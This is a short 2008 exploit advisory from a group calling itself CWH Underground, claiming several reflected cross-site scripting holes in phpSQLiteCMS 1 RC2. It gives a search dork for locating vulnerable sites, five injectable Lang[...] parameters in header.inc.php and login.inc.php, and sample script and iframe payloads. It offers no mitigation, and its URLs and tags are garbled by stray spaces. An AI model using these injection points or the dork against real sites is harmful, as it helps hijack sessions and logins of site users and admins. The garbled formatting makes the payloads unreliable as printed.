================================================== ========
phpSQLiteCMS Multiple Remote XSS Vulnerability
================================================== ========
AUTHOR: CWH Underground
DATE: 21 May 2008
SITE:
www.citec.us ################################################## # # #
APPLICATION: phpSQLiteCMS
VERSION: 1 RC2 (Latest Version)
VENDOR:
http://downloads.sourceforge.net/phpsqlitecms ################################################## # # #
DORK: "Powered By phpSQLiteCMS"
Exploit --- ---
[-] Http:// [target] / [phpsqlitecms_path] / cms / includes / header.inc.php? Lang [home] = <XSS>
[-] Http:// [target] / [phpsqlitecms_path] / cms / includes / header.inc.php? Lang [admin_menu] = <XSS>
[-] Http:// [target] / [phpsqlitecms_path] / cms / includes / header.inc.php? Lang [admin_menu_page_overview] = <XSS>
[-] Http:// [target] / [phpsqlitecms_path] / cms / includes / login.inc.php? Lang [login_username] = <XSS>
[-] Http:// [target] / [phpsqlitecms_path] / cms / includes / login.inc.php? Lang [login_password] = <XSS>
Example for XSS:
<script> Alert (123); </ script>
<iframe Src=http://www.google.com>
.
################################################## ################
Greetz: ZeQ3uL, BAD $ ectors, Snapter, Conan, Win7dos, JabAv0C
################################################## ################
